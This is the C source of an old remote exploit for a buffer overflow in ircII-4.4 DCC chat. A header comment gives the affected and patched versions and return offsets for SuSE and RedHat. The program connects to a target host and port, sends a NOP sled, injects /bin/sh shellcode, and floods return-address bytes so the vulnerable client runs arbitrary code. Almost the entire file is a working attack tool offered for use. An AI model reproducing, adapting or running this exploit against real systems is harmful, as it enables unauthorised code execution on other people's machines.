/*
 
  ircii-4.4 exploit by bladi & aLmUDeNa
 
  buffer overflow in ircii dcc chat's
  allow to excute arbitrary
 
  Affected:
           ircII-4.4
 
  Patch:
         Upgrade to ircII-4.4M
  ftp://ircftp.au.eterna.com.au/pub/ircII/ircii-4.4M.tar.gz
 
  Offset:
         SuSe 6.x :0xbfffe3ff
         RedHat   :0xbfffe888
 
  Thanks to : #warinhell,#hacker_novatos
  Special thanks go to: Topo[lb],
	Saludos para todos los que nos conozcan especialmente para eva ;)
                                         (bladi@euskalnet.net)
*/

#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname)
{
  struct hostent *hozt;
  struct sockaddr_in tmp;
  struct in_addr in;
  if ((hozt=gethostbyname(hostname))==NULL)
    {
      printf(" ERROR: IP incorrecta\n");
      exit(0);
    }
  memcpy((caddr_t)&tmp.sin_addr.s_addr, hozt->h_addr, hozt->h_length);
  memcpy(&in,&tmp.sin_addr.s_addr,4);
  return(inet_ntoa(in));
}
main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  char *hostname;
  char nops[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  char *shell =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  int outsocket,tnt,i;
  printf (" irciismash  ver: 1.0\n");
  printf ("         by         \n");
  printf ("  bladi & aLmUDeNa\n\n");

  if (argc<3)
    {
      printf("Usage : %s hostname port\n",argv[0]);
      exit(-1);
    }
  hostname=argv[1];
  outsocket=socket(AF_INET,SOCK_STREAM,0);
  sin.sin_family=AF_INET;
  sin.sin_port=htons(atoi(argv[2]));
  sin.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
  if (connect (outsocket, (struct sockaddr *) &sin, sizeof(sin)) == -1)
    {
      printf(" ERROR: El puerto esta cerradito :_(\n");
      exit(0);
    }
  printf("[1]- Noping\n    [");
  for(i=0;i<47;i++)
    {
      if(!(i % 7))
        {
          usleep (9);
          printf(".");
          fflush(stdout);
        }
      write(outsocket,nops,strlen(nops));
    }
  printf("]\n");
  printf("     Noped\n");
  printf("[2]- Injectin shellcode\n");
  write(outsocket,shell,strlen(shell));
  usleep(999);
  printf("     Injected\n");
  printf("[3]- Waiting\n [");
  for(i=0;i<299;i++)
    {
      printf(".");
      fflush(stdout);
      usleep(99);
      write(outsocket,"\xff",strlen("\xff"));
      write(outsocket,"\xbf",strlen("\xff"));
      write(outsocket,"\xff",strlen("\xe9"));
      write(outsocket,"\xe3",strlen("\xff"));
    }
  printf("]\n[4]- Xploit \n - --(DoNe)-- -\n");
  close(outsocket);
}